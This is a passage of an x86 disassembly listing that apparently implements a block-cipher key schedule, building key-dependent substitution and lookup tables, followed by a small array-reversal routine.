		mov	[eax+edx*4+129h], ecx
		jmp	loc_40C833
; ---------------------------------------------------------------------------


loc_40C8C5:				; CODE XREF: sub_40C140+70Cj
		mov	dl, byte ptr [ebp+var_C+1]
		push	edx
		mov	edx, offset byte_418CD0
		lea	ecx, [ebp+var_12C]
		call	sub_40D88C
		mov	eax, [ebp+var_10+1]
		and	eax, 0FFh
		mov	[ebp+var_260], eax
		mov	[ebp+var_238], 0
		jmp	short loc_40C902
; ---------------------------------------------------------------------------


loc_40C8F3:				; CODE XREF: sub_40C140+840j
		mov	ecx, [ebp+var_238]
		add	ecx, 2
		mov	[ebp+var_238], ecx


loc_40C902:				; CODE XREF: sub_40C140+7B1j
		cmp	[ebp+var_238], 100h
		jge	short loc_40C985
		mov	edx, [ebp+var_238]
		xor	eax, eax
		mov	al, [ebp+edx+var_12C]
		xor	ecx, ecx
		mov	cl, byte_418BD0[eax]
		xor	ecx, [ebp+var_260]
		mov	edx, [ebp+var_238]
		shl	edx, 1
		mov	eax, [ebp+var_2AC]
		mov	ecx, dword_4191D4[ecx*4]
		mov	[eax+edx*4+125h], ecx
		mov	edx, [ebp+var_238]
		xor	eax, eax
		mov	al, [ebp+edx+var_12B]
		xor	ecx, ecx
		mov	cl, byte_418BD0[eax]
		xor	ecx, [ebp+var_260]
		mov	edx, [ebp+var_238]
		shl	edx, 1
		mov	eax, [ebp+var_2AC]
		mov	ecx, dword_4191D4[ecx*4]
		mov	[eax+edx*4+12Dh], ecx
		jmp	loc_40C8F3
; ---------------------------------------------------------------------------


loc_40C985:				; CODE XREF: sub_40C140+7CCj
		mov	dl, byte ptr [ebp+var_C+2]
		push	edx
		mov	edx, offset byte_418BD0
		lea	ecx, [ebp+var_12C]
		call	sub_40D88C
		mov	eax, [ebp+var_10+2]
		and	eax, 0FFh
		mov	[ebp+var_264], eax
		mov	[ebp+var_238], 0
		jmp	short loc_40C9C2
; ---------------------------------------------------------------------------


loc_40C9B3:				; CODE XREF: sub_40C140+900j
		mov	ecx, [ebp+var_238]
		add	ecx, 2
		mov	[ebp+var_238], ecx


loc_40C9C2:				; CODE XREF: sub_40C140+871j
		cmp	[ebp+var_238], 100h
		jge	short loc_40CA45
		mov	edx, [ebp+var_238]
		xor	eax, eax
		mov	al, [ebp+edx+var_12C]
		xor	ecx, ecx
		mov	cl, byte_418CD0[eax]
		xor	ecx, [ebp+var_264]
		mov	edx, [ebp+var_238]
		shl	edx, 1
		mov	eax, [ebp+var_2AC]
		mov	ecx, dword_4195D4[ecx*4]
		mov	[eax+edx*4+921h], ecx
		mov	edx, [ebp+var_238]
		xor	eax, eax
		mov	al, [ebp+edx+var_12B]
		xor	ecx, ecx
		mov	cl, byte_418CD0[eax]
		xor	ecx, [ebp+var_264]
		mov	edx, [ebp+var_238]
		shl	edx, 1
		mov	eax, [ebp+var_2AC]
		mov	ecx, dword_4195D4[ecx*4]
		mov	[eax+edx*4+929h], ecx
		jmp	loc_40C9B3
; ---------------------------------------------------------------------------


loc_40CA45:				; CODE XREF: sub_40C140+88Cj
		mov	dl, byte ptr [ebp+var_C+3]
		push	edx
		mov	edx, offset byte_418CD0
		lea	ecx, [ebp+var_12C]
		call	sub_40D88C
		mov	eax, [ebp+var_10+3]
		and	eax, 0FFh
		mov	[ebp+var_268], eax
		mov	[ebp+var_238], 0
		jmp	short loc_40CA82
; ---------------------------------------------------------------------------


loc_40CA73:				; CODE XREF: sub_40C140+9C0j
		mov	ecx, [ebp+var_238]
		add	ecx, 2
		mov	[ebp+var_238], ecx


loc_40CA82:				; CODE XREF: sub_40C140+931j
		cmp	[ebp+var_238], 100h
		jge	short loc_40CB05
		mov	edx, [ebp+var_238]
		xor	eax, eax
		mov	al, [ebp+edx+var_12C]
		xor	ecx, ecx
		mov	cl, byte_418CD0[eax]
		xor	ecx, [ebp+var_268]
		mov	edx, [ebp+var_238]
		shl	edx, 1
		mov	eax, [ebp+var_2AC]
		mov	ecx, dword_4199D4[ecx*4]
		mov	[eax+edx*4+925h], ecx
		mov	edx, [ebp+var_238]
		xor	eax, eax
		mov	al, [ebp+edx+var_12B]
		xor	ecx, ecx
		mov	cl, byte_418CD0[eax]
		xor	ecx, [ebp+var_268]
		mov	edx, [ebp+var_238]
		shl	edx, 1
		mov	eax, [ebp+var_2AC]
		mov	ecx, dword_4199D4[ecx*4]
		mov	[eax+edx*4+92Dh], ecx
		jmp	loc_40CA73
; ---------------------------------------------------------------------------


loc_40CB05:				; CODE XREF: sub_40C140+94Cj
		jmp	loc_40D491
; ---------------------------------------------------------------------------


loc_40CB0A:				; CODE XREF: sub_40C140+6AAj
		mov	dl, [ebp+var_8]
		push	edx
		mov	edx, offset byte_418CD0
		lea	ecx, [ebp+var_12C]
		call	sub_40D88C
		mov	eax, [ebp+var_10]
		and	eax, 0FFh
		mov	[ebp+var_26C], eax
		mov	ecx, [ebp+var_C]
		and	ecx, 0FFh
		mov	[ebp+var_270], ecx
		mov	[ebp+var_238], 0
		jmp	short loc_40CB56
; ---------------------------------------------------------------------------


loc_40CB47:				; CODE XREF: sub_40C140+AB4j
		mov	edx, [ebp+var_238]
		add	edx, 2
		mov	[ebp+var_238], edx


loc_40CB56:				; CODE XREF: sub_40C140+A05j
		cmp	[ebp+var_238], 100h
		jge	loc_40CBF9
		mov	eax, [ebp+var_238]
		xor	ecx, ecx
		mov	cl, [ebp+eax+var_12C]
		xor	edx, edx
		mov	dl, byte_418BD0[ecx]
		xor	edx, [ebp+var_270]
		xor	eax, eax
		mov	al, byte_418BD0[edx]
		xor	eax, [ebp+var_26C]
		mov	ecx, [ebp+var_238]
		shl	ecx, 1
		mov	edx, [ebp+var_2AC]
		mov	eax, dword_418DD4[eax*4]
		mov	[edx+ecx*4+121h], eax
		mov	ecx, [ebp+var_238]
		xor	edx, edx
		mov	dl, [ebp+ecx+var_12B]
		xor	eax, eax
		mov	al, byte_418BD0[edx]
		xor	eax, [ebp+var_270]
		xor	ecx, ecx
		mov	cl, byte_418BD0[eax]
		xor	ecx, [ebp+var_26C]
		mov	edx, [ebp+var_238]
		shl	edx, 1
		mov	eax, [ebp+var_2AC]
		mov	ecx, dword_418DD4[ecx*4]
		mov	[eax+edx*4+129h], ecx
		jmp	loc_40CB47
; ---------------------------------------------------------------------------


loc_40CBF9:				; CODE XREF: sub_40C140+A20j
		mov	dl, [ebp+var_7]
		push	edx
		mov	edx, offset byte_418CD0
		lea	ecx, [ebp+var_12C]
		call	sub_40D88C
		mov	eax, [ebp+var_10+1]
		and	eax, 0FFh
		mov	[ebp+var_274], eax
		mov	ecx, [ebp+var_C+1]
		and	ecx, 0FFh
		mov	[ebp+var_278], ecx
		mov	[ebp+var_238], 0
		jmp	short loc_40CC45
; ---------------------------------------------------------------------------


loc_40CC36:				; CODE XREF: sub_40C140+BA3j
		mov	edx, [ebp+var_238]
		add	edx, 2
		mov	[ebp+var_238], edx


loc_40CC45:				; CODE XREF: sub_40C140+AF4j
		cmp	[ebp+var_238], 100h
		jge	loc_40CCE8
		mov	eax, [ebp+var_238]
		xor	ecx, ecx
		mov	cl, [ebp+eax+var_12C]
		xor	edx, edx
		mov	dl, byte_418CD0[ecx]
		xor	edx, [ebp+var_278]
		xor	eax, eax
		mov	al, byte_418BD0[edx]
		xor	eax, [ebp+var_274]
		mov	ecx, [ebp+var_238]
		shl	ecx, 1
		mov	edx, [ebp+var_2AC]
		mov	eax, dword_4191D4[eax*4]
		mov	[edx+ecx*4+125h], eax
		mov	ecx, [ebp+var_238]
		xor	edx, edx
		mov	dl, [ebp+ecx+var_12B]
		xor	eax, eax
		mov	al, byte_418CD0[edx]
		xor	eax, [ebp+var_278]
		xor	ecx, ecx
		mov	cl, byte_418BD0[eax]
		xor	ecx, [ebp+var_274]
		mov	edx, [ebp+var_238]
		shl	edx, 1
		mov	eax, [ebp+var_2AC]
		mov	ecx, dword_4191D4[ecx*4]
		mov	[eax+edx*4+12Dh], ecx
		jmp	loc_40CC36
; ---------------------------------------------------------------------------


loc_40CCE8:				; CODE XREF: sub_40C140+B0Fj
		mov	dl, [ebp+var_6]
		push	edx
		mov	edx, offset byte_418BD0
		lea	ecx, [ebp+var_12C]
		call	sub_40D88C
		mov	eax, [ebp+var_10+2]
		and	eax, 0FFh
		mov	[ebp+var_27C], eax
		mov	ecx, [ebp+var_C+2]
		and	ecx, 0FFh
		mov	[ebp+var_280], ecx
		mov	[ebp+var_238], 0
		jmp	short loc_40CD34
; ---------------------------------------------------------------------------


loc_40CD25:				; CODE XREF: sub_40C140+C92j
		mov	edx, [ebp+var_238]
		add	edx, 2
		mov	[ebp+var_238], edx


loc_40CD34:				; CODE XREF: sub_40C140+BE3j
		cmp	[ebp+var_238], 100h
		jge	loc_40CDD7
		mov	eax, [ebp+var_238]
		xor	ecx, ecx
		mov	cl, [ebp+eax+var_12C]
		xor	edx, edx
		mov	dl, byte_418BD0[ecx]
		xor	edx, [ebp+var_280]
		xor	eax, eax
		mov	al, byte_418CD0[edx]
		xor	eax, [ebp+var_27C]
		mov	ecx, [ebp+var_238]
		shl	ecx, 1
		mov	edx, [ebp+var_2AC]
		mov	eax, dword_4195D4[eax*4]
		mov	[edx+ecx*4+921h], eax
		mov	ecx, [ebp+var_238]
		xor	edx, edx
		mov	dl, [ebp+ecx+var_12B]
		xor	eax, eax
		mov	al, byte_418BD0[edx]
		xor	eax, [ebp+var_280]
		xor	ecx, ecx
		mov	cl, byte_418CD0[eax]
		xor	ecx, [ebp+var_27C]
		mov	edx, [ebp+var_238]
		shl	edx, 1
		mov	eax, [ebp+var_2AC]
		mov	ecx, dword_4195D4[ecx*4]
		mov	[eax+edx*4+929h], ecx
		jmp	loc_40CD25
; ---------------------------------------------------------------------------


loc_40CDD7:				; CODE XREF: sub_40C140+BFEj
		mov	dl, [ebp+var_5]
		push	edx
		mov	edx, offset byte_418BD0
		lea	ecx, [ebp+var_12C]
		call	sub_40D88C
		mov	eax, [ebp+var_10+3]
		and	eax, 0FFh
		mov	[ebp+var_284], eax
		mov	ecx, [ebp+var_C+3]
		and	ecx, 0FFh
		mov	[ebp+var_288], ecx
		mov	[ebp+var_238], 0
		jmp	short loc_40CE23
; ---------------------------------------------------------------------------


loc_40CE14:				; CODE XREF: sub_40C140+D81j
		mov	edx, [ebp+var_238]
		add	edx, 2
		mov	[ebp+var_238], edx


loc_40CE23:				; CODE XREF: sub_40C140+CD2j
		cmp	[ebp+var_238], 100h
		jge	loc_40CEC6
		mov	eax, [ebp+var_238]
		xor	ecx, ecx
		mov	cl, [ebp+eax+var_12C]
		xor	edx, edx
		mov	dl, byte_418CD0[ecx]
		xor	edx, [ebp+var_288]
		xor	eax, eax
		mov	al, byte_418CD0[edx]
		xor	eax, [ebp+var_284]
		mov	ecx, [ebp+var_238]
		shl	ecx, 1
		mov	edx, [ebp+var_2AC]
		mov	eax, dword_4199D4[eax*4]
		mov	[edx+ecx*4+925h], eax
		mov	ecx, [ebp+var_238]
		xor	edx, edx
		mov	dl, [ebp+ecx+var_12B]
		xor	eax, eax
		mov	al, byte_418CD0[edx]
		xor	eax, [ebp+var_288]
		xor	ecx, ecx
		mov	cl, byte_418CD0[eax]
		xor	ecx, [ebp+var_284]
		mov	edx, [ebp+var_238]
		shl	edx, 1
		mov	eax, [ebp+var_2AC]
		mov	ecx, dword_4199D4[ecx*4]
		mov	[eax+edx*4+92Dh], ecx
		jmp	loc_40CE14
; ---------------------------------------------------------------------------


loc_40CEC6:				; CODE XREF: sub_40C140+CEDj
		jmp	loc_40D491
; ---------------------------------------------------------------------------


loc_40CECB:				; CODE XREF: sub_40C140+6BAj
		mov	dl, [ebp+var_4]
		push	edx
		mov	edx, offset byte_418CD0
		lea	ecx, [ebp+var_22C]
		call	sub_40D88C
		mov	[ebp+var_238], 0
		jmp	short loc_40CEFA
; ---------------------------------------------------------------------------


loc_40CEEB:				; CODE XREF: sub_40C140+E0Aj
		mov	eax, [ebp+var_238]
		add	eax, 2
		mov	[ebp+var_238], eax


loc_40CEFA:				; CODE XREF: sub_40C140+DA9j
		cmp	[ebp+var_238], 100h
		jge	short loc_40CF4C
		mov	ecx, [ebp+var_238]
		xor	edx, edx
		mov	dl, [ebp+ecx+var_22C]
		mov	eax, [ebp+var_238]
		mov	cl, byte_418CD0[edx]
		mov	[ebp+eax+var_12C], cl
		mov	edx, [ebp+var_238]
		xor	eax, eax
		mov	al, [ebp+edx+var_22B]
		mov	ecx, [ebp+var_238]
		mov	dl, byte_418CD0[eax]
		mov	[ebp+ecx+var_12B], dl
		jmp	short loc_40CEEB
; ---------------------------------------------------------------------------


loc_40CF4C:				; CODE XREF: sub_40C140+DC4j
		mov	al, [ebp+var_8]
		push	eax
		lea	edx, [ebp+var_12C]
		lea	ecx, [ebp+var_12C]
		call	sub_40D88C
		mov	ecx, [ebp+var_10]
		and	ecx, 0FFh
		mov	[ebp+var_28C], ecx
		mov	edx, [ebp+var_C]
		and	edx, 0FFh
		mov	[ebp+var_290], edx
		mov	[ebp+var_238], 0
		jmp	short loc_40CF9A
; ---------------------------------------------------------------------------


loc_40CF8B:				; CODE XREF: sub_40C140+EF8j
		mov	eax, [ebp+var_238]
		add	eax, 2
		mov	[ebp+var_238], eax


loc_40CF9A:				; CODE XREF: sub_40C140+E49j
		cmp	[ebp+var_238], 100h
		jge	loc_40D03D
		mov	ecx, [ebp+var_238]
		xor	edx, edx
		mov	dl, [ebp+ecx+var_12C]
		xor	eax, eax
		mov	al, byte_418BD0[edx]
		xor	eax, [ebp+var_290]
		xor	ecx, ecx
		mov	cl, byte_418BD0[eax]
		xor	ecx, [ebp+var_28C]
		mov	edx, [ebp+var_238]
		shl	edx, 1
		mov	eax, [ebp+var_2AC]
		mov	ecx, dword_418DD4[ecx*4]
		mov	[eax+edx*4+121h], ecx
		mov	edx, [ebp+var_238]
		xor	eax, eax
		mov	al, [ebp+edx+var_12B]
		xor	ecx, ecx
		mov	cl, byte_418BD0[eax]
		xor	ecx, [ebp+var_290]
		xor	edx, edx
		mov	dl, byte_418BD0[ecx]
		xor	edx, [ebp+var_28C]
		mov	eax, [ebp+var_238]
		shl	eax, 1
		mov	ecx, [ebp+var_2AC]
		mov	edx, dword_418DD4[edx*4]
		mov	[ecx+eax*4+129h], edx
		jmp	loc_40CF8B
; ---------------------------------------------------------------------------


loc_40D03D:				; CODE XREF: sub_40C140+E64j
		mov	al, [ebp+var_3]
		push	eax
		mov	edx, offset byte_418BD0
		lea	ecx, [ebp+var_22C]
		call	sub_40D88C
		mov	[ebp+var_238], 0 ; DATA	XREF: sub_40F450+25o
		jmp	short loc_40D06C
; ---------------------------------------------------------------------------


loc_40D05D:				; CODE XREF: sub_40C140+F7Cj
		mov	ecx, [ebp+var_238]
		add	ecx, 2
		mov	[ebp+var_238], ecx


loc_40D06C:				; CODE XREF: sub_40C140+F1Bj
		cmp	[ebp+var_238], 100h
		jge	short loc_40D0BE
		mov	edx, [ebp+var_238]
		xor	eax, eax
		mov	al, [ebp+edx+var_22C]
		mov	ecx, [ebp+var_238]
		mov	dl, byte_418CD0[eax]
		mov	[ebp+ecx+var_12C], dl
		mov	eax, [ebp+var_238]
		xor	ecx, ecx
		mov	cl, [ebp+eax+var_22B]
		mov	edx, [ebp+var_238]
		mov	al, byte_418CD0[ecx]
		mov	[ebp+edx+var_12B], al
		jmp	short loc_40D05D
; ---------------------------------------------------------------------------


loc_40D0BE:				; CODE XREF: sub_40C140+F36j
		mov	cl, [ebp+var_7]
		push	ecx
		lea	edx, [ebp+var_12C]
		lea	ecx, [ebp+var_12C]
		call	sub_40D88C
		mov	edx, [ebp+var_10+1]
		and	edx, 0FFh
		mov	[ebp+var_294], edx
		mov	eax, [ebp+var_C+1]
		and	eax, 0FFh
		mov	[ebp+var_298], eax
		mov	[ebp+var_238], 0
		jmp	short loc_40D10B
; ---------------------------------------------------------------------------


loc_40D0FC:				; CODE XREF: sub_40C140+1069j
		mov	ecx, [ebp+var_238]
		add	ecx, 2
		mov	[ebp+var_238], ecx


loc_40D10B:				; CODE XREF: sub_40C140+FBAj
		cmp	[ebp+var_238], 100h
		jge	loc_40D1AE
		mov	edx, [ebp+var_238]
		xor	eax, eax
		mov	al, [ebp+edx+var_12C]
		xor	ecx, ecx
		mov	cl, byte_418CD0[eax]
		xor	ecx, [ebp+var_298]
		xor	edx, edx
		mov	dl, byte_418BD0[ecx]
		xor	edx, [ebp+var_294]
		mov	eax, [ebp+var_238]
		shl	eax, 1
		mov	ecx, [ebp+var_2AC]
		mov	edx, dword_4191D4[edx*4]
		mov	[ecx+eax*4+125h], edx
		mov	eax, [ebp+var_238]
		xor	ecx, ecx
		mov	cl, [ebp+eax+var_12B]
		xor	edx, edx
		mov	dl, byte_418CD0[ecx]
		xor	edx, [ebp+var_298]
		xor	eax, eax
		mov	al, byte_418BD0[edx]
		xor	eax, [ebp+var_294]
		mov	ecx, [ebp+var_238]
		shl	ecx, 1
		mov	edx, [ebp+var_2AC]
		mov	eax, dword_4191D4[eax*4]
		mov	[edx+ecx*4+12Dh], eax
		jmp	loc_40D0FC
; ---------------------------------------------------------------------------


loc_40D1AE:				; CODE XREF: sub_40C140+FD5j
		mov	cl, [ebp+var_2]
		push	ecx
		mov	edx, offset byte_418BD0
		lea	ecx, [ebp+var_22C]
		call	sub_40D88C
		mov	[ebp+var_238], 0
		jmp	short loc_40D1DD
; ---------------------------------------------------------------------------


loc_40D1CE:				; CODE XREF: sub_40C140+10EDj
		mov	edx, [ebp+var_238]
		add	edx, 2
		mov	[ebp+var_238], edx


loc_40D1DD:				; CODE XREF: sub_40C140+108Cj
		cmp	[ebp+var_238], 100h
		jge	short loc_40D22F
		mov	eax, [ebp+var_238]
		xor	ecx, ecx
		mov	cl, [ebp+eax+var_22C]
		mov	edx, [ebp+var_238]
		mov	al, byte_418BD0[ecx]
		mov	[ebp+edx+var_12C], al


loc_40D20B:				; DATA XREF: .data:0041B890o
					; .data:0041B8B0o ...
		mov	ecx, [ebp+var_238]
		xor	edx, edx
		mov	dl, [ebp+ecx+var_22B]
		mov	eax, [ebp+var_238]
		mov	cl, byte_418BD0[edx]
		mov	[ebp+eax+var_12B], cl
		jmp	short loc_40D1CE
; ---------------------------------------------------------------------------


loc_40D22F:				; CODE XREF: sub_40C140+10A7j
		mov	dl, [ebp+var_6]
		push	edx
		lea	edx, [ebp+var_12C]
		lea	ecx, [ebp+var_12C]
		call	sub_40D88C
		mov	eax, [ebp+var_10+2]
		and	eax, 0FFh
		mov	[ebp+var_29C], eax
		mov	ecx, [ebp+var_C+2]
		and	ecx, 0FFh
		mov	[ebp+var_2A0], ecx
		mov	[ebp+var_238], 0
		jmp	short loc_40D27C
; ---------------------------------------------------------------------------


loc_40D26D:				; CODE XREF: sub_40C140+11DAj
		mov	edx, [ebp+var_238]
		add	edx, 2
		mov	[ebp+var_238], edx


loc_40D27C:				; CODE XREF: sub_40C140+112Bj
		cmp	[ebp+var_238], 100h
		jge	loc_40D31F


loc_40D28C:				; DATA XREF: .data:0041B894o
					; .data:0041B8B4o ...
		mov	eax, [ebp+var_238]
		xor	ecx, ecx
		mov	cl, [ebp+eax+var_12C]
		xor	edx, edx
		mov	dl, byte_418BD0[ecx]
		xor	edx, [ebp+var_2A0]
		xor	eax, eax
		mov	al, byte_418CD0[edx]
		xor	eax, [ebp+var_29C]
		mov	ecx, [ebp+var_238]
		shl	ecx, 1


loc_40D2BF:				; DATA XREF: .data:0041B898o
					; .data:0041B8B8o ...
		mov	edx, [ebp+var_2AC]
		mov	eax, dword_4195D4[eax*4]
		mov	[edx+ecx*4+921h], eax
		mov	ecx, [ebp+var_238]
		xor	edx, edx
		mov	dl, [ebp+ecx+var_12B]
		xor	eax, eax
		mov	al, byte_418BD0[edx]
		xor	eax, [ebp+var_2A0]
		xor	ecx, ecx
		mov	cl, [eax+0A06FE4h]
		xor	ecx, [ebp+var_29C]
		mov	edx, [ebp+var_238]
		shl	edx, 1
		mov	eax, [ebp+var_2AC]
		mov	ecx, dword_4195D4[ecx*4]
		mov	[eax+edx*4+929h], ecx
		jmp	loc_40D26D
; ---------------------------------------------------------------------------


loc_40D31F:				; CODE XREF: sub_40C140+1146j
					; DATA XREF: .data:0041B8BCo ...
		mov	dl, [ebp+var_1]
		push	edx
		mov	edx, offset byte_418CD0
		lea	ecx, [ebp+var_22C]
		call	sub_40D88C
		mov	[ebp+var_238], 0
		jmp	short loc_40D34E
; ---------------------------------------------------------------------------


loc_40D33F:				; CODE XREF: sub_40C140+125Ej
		mov	eax, [ebp+var_238]
		add	eax, 2
		mov	[ebp+var_238], eax


loc_40D34E:				; CODE XREF: sub_40C140+11FDj
		cmp	[ebp+var_238], 100h
		jge	short loc_40D3A0
		mov	ecx, [ebp+var_238]
		xor	edx, edx
		mov	dl, [ebp+ecx+var_22C]
		mov	eax, [ebp+var_238]
		mov	cl, byte_418BD0[edx]
		mov	[ebp+eax+var_12C], cl
		mov	edx, [ebp+var_238]
		xor	eax, eax
		mov	al, [ebp+edx+var_22B]
		mov	ecx, [ebp+var_238]
		mov	dl, byte_418BD0[eax]
		mov	[ebp+ecx+var_12B], dl
		jmp	short loc_40D33F
; ---------------------------------------------------------------------------


loc_40D3A0:				; CODE XREF: sub_40C140+1218j
		mov	al, [ebp+var_5]
		push	eax
		lea	edx, [ebp+var_12C]
		lea	ecx, [ebp+var_12C]
		call	sub_40D88C
		mov	ecx, [ebp+var_10+3]
		and	ecx, 0FFh
		mov	[ebp+var_2A4], ecx
		mov	edx, [ebp+var_C+3]
		and	edx, 0FFh
		mov	[ebp+var_2A8], edx
		mov	[ebp+var_238], 0
		jmp	short loc_40D3EE
; ---------------------------------------------------------------------------


loc_40D3DF:				; CODE XREF: sub_40C140+134Cj
		mov	eax, [ebp+var_238]
		add	eax, 2
		mov	[ebp+var_238], eax


loc_40D3EE:				; CODE XREF: sub_40C140+129Dj
					; DATA XREF: .data:off_41BC3Co
		cmp	[ebp+var_238], 100h
		jge	loc_40D491
		mov	ecx, [ebp+var_238]
		xor	edx, edx


loc_40D406:				; DATA XREF: .data:off_41BC40o
		mov	dl, [ebp+ecx+var_12C]
		xor	eax, eax
		mov	al, byte_418CD0[edx]
		xor	eax, [ebp+var_2A8]
		xor	ecx, ecx
		mov	cl, byte_418CD0[eax]
		xor	ecx, [ebp+var_2A4]
		mov	edx, [ebp+var_238]
		shl	edx, 1
		mov	eax, [ebp+var_2AC]
		mov	ecx, dword_4199D4[ecx*4]
		mov	[eax+edx*4+925h], ecx
		mov	edx, [ebp+var_238]
		xor	eax, eax
		mov	al, [ebp+edx+var_12B]
		xor	ecx, ecx
		mov	cl, byte_418CD0[eax]
		xor	ecx, [ebp+var_2A8]
		xor	edx, edx
		mov	dl, byte_418CD0[ecx]
		xor	edx, [ebp+var_2A4]
		mov	eax, [ebp+var_238]
		shl	eax, 1
		mov	ecx, [ebp+var_2AC]
		mov	edx, dword_4199D4[edx*4]
		mov	[ecx+eax*4+92Dh], edx
		jmp	loc_40D3DF
; ---------------------------------------------------------------------------


loc_40D491:				; CODE XREF: sub_40C140+6C0j
					; sub_40C140:loc_40CB05j ...
		mov	eax, [ebp+var_2AC]
		xor	ecx, ecx
		mov	cl, [eax]
		test	ecx, ecx
		jnz	short loc_40D4AC
		xor	dl, dl
		mov	ecx, [ebp+var_2AC]
		call	sub_40D4B5


loc_40D4AC:				; CODE XREF: sub_40C140+135Dj
		mov	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_40C140	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D4B5	proc near		; CODE XREF: sub_40C140+1367p

var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	[ebp+var_18], dl
		mov	[ebp+var_14], ecx
		mov	eax, [ebp+var_14]
		add	eax, 0A1h
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_14]
		mov	edx, [ecx+4Dh]
		shl	edx, 1
		mov	eax, [ebp+var_10]
		lea	ecx, [eax+edx*4-8]
		mov	[ebp+var_4], ecx
		jmp	short loc_40D4F2
; ---------------------------------------------------------------------------


loc_40D4E0:				; CODE XREF: sub_40D4B5+7Dj
		mov	edx, [ebp+var_10]
		add	edx, 8
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_4]
		sub	eax, 8
		mov	[ebp+var_4], eax


loc_40D4F2:				; CODE XREF: sub_40D4B5+29j
		mov	ecx, [ebp+var_10]
		cmp	ecx, [ebp+var_4]
		jnb	short loc_40D534
		mov	edx, [ebp+var_10]
		mov	eax, [edx]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_10]
		mov	edx, [ecx+4]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx]
		mov	[eax], edx
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+4]
		mov	[eax+4], edx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_C]
		mov	[edx+4], eax
		jmp	short loc_40D4E0
; ---------------------------------------------------------------------------


loc_40D534:				; CODE XREF: sub_40D4B5+43j
		mov	ecx, [ebp+var_14]
		mov	dl, [ebp+var_18]
		mov	[ecx], dl
		mov	esp, ebp
		pop	ebp
		retn
sub_40D4B5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D540	proc near		; CODE XREF: sub_40C140+26p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_4		= byte ptr -4
var_3		= byte ptr -3

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	[ebp+var_10], 0
		jmp	short loc_40D558
; ---------------------------------------------------------------------------


loc_40D54F:				; CODE XREF: sub_40D540+232j
		mov	eax, [ebp+var_10]
		add	eax, 1
		mov	[ebp+var_10], eax


loc_40D558:				; CODE XREF: sub_40D540+Dj
		cmp	[ebp+var_10], 100h
		jge	loc_40D777
		mov	ecx, [ebp+var_10]
		mov	dl, byte_418BD0[ecx]
		mov	byte ptr [ebp+var_14], dl
		mov	eax, [ebp+var_14]
		and	eax, 0FFh
		mov	ecx, [ebp+var_14]
		and	ecx, 0FFh
		sar	ecx, 2
		mov	edx, [ebp+var_14]
		and	edx, 0FFh


loc_40D58E:				; DATA XREF: .data:0041BD0Co
		and	edx, 2
		neg	edx
		sbb	edx, edx
		and	edx, 0B4h
		xor	ecx, edx
		mov	edx, [ebp+var_14]
		and	edx, 0FFh
		and	edx, 1
		neg	edx
		sbb	edx, edx
		and	edx, 5Ah
		xor	ecx, edx
		xor	eax, ecx
		mov	[ebp+var_4], al
		mov	eax, [ebp+var_14]
		and	eax, 0FFh
		mov	ecx, [ebp+var_14]
		and	ecx, 0FFh
		sar	ecx, 1
		mov	edx, [ebp+var_14]
		and	edx, 0FFh
		and	edx, 1
		neg	edx
		sbb	edx, edx
		and	edx, 0B4h
		xor	ecx, edx
		xor	eax, ecx
		mov	ecx, [ebp+var_14]
		and	ecx, 0FFh
		sar	ecx, 2
		mov	edx, [ebp+var_14]
		and	edx, 0FFh
		and	edx, 2
		neg	edx
		sbb	edx, edx
		and	edx, 0B4h
		xor	ecx, edx
		mov	edx, [ebp+var_14]
		and	edx, 0FFh
		and	edx, 1
		neg	edx
		sbb	edx, edx
		and	edx, 5Ah
		xor	ecx, edx
		xor	eax, ecx
		mov	[ebp+var_8], al
		mov	eax, [ebp+var_10]
		mov	cl, byte_418CD0[eax]
		mov	byte ptr [ebp+var_14+1], cl
		mov	edx, [ebp+var_14+1]
		and	edx, 0FFh
		mov	eax, [ebp+var_14+1]
		and	eax, 0FFh
		sar	eax, 2
		mov	ecx, [ebp+var_14+1]
		and	ecx, 0FFh
		and	ecx, 2
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 0B4h
		xor	eax, ecx
		mov	ecx, [ebp+var_14+1]
		and	ecx, 0FFh
		and	ecx, 1
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 5Ah
		xor	eax, ecx
		xor	edx, eax
		mov	[ebp+var_3], dl
		mov	edx, [ebp+var_14+1]
		and	edx, 0FFh
		mov	eax, [ebp+var_14+1]


loc_40D680:				; DATA XREF: .data:0041BD60o
		and	eax, 0FFh
		sar	eax, 1
		mov	ecx, [ebp+var_14+1]


loc_40D68A:				; DATA XREF: .data:0041BD64o
		and	ecx, 0FFh
		and	ecx, 1
		neg	ecx


loc_40D695:				; DATA XREF: .data:0041BD68o
		sbb	ecx, ecx
		and	ecx, 0B4h
		xor	eax, ecx
		xor	edx, eax


loc_40D6A1:				; DATA XREF: .data:0041BD6Co
		mov	eax, [ebp+var_14+1]
		and	eax, 0FFh
		sar	eax, 2


loc_40D6AC:				; DATA XREF: .data:0041BD70o
		mov	ecx, [ebp+var_14+1]
		and	ecx, 0FFh
		and	ecx, 2
		neg	ecx
		sbb	ecx, ecx


loc_40D6BC:				; DATA XREF: .data:0041BDA0o
		and	ecx, 0B4h
		xor	eax, ecx
		mov	ecx, [ebp+var_14+1]
		and	ecx, 0FFh
		and	ecx, 1
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 5Ah
		xor	eax, ecx
		xor	edx, eax
		mov	[ebp+var_7], dl
		mov	dl, byte ptr [ebp+var_14+1]


loc_40D6E1:				; DATA XREF: .data:0041BD9Co
		mov	byte ptr [ebp+var_C], dl
		mov	al, [ebp+var_3]
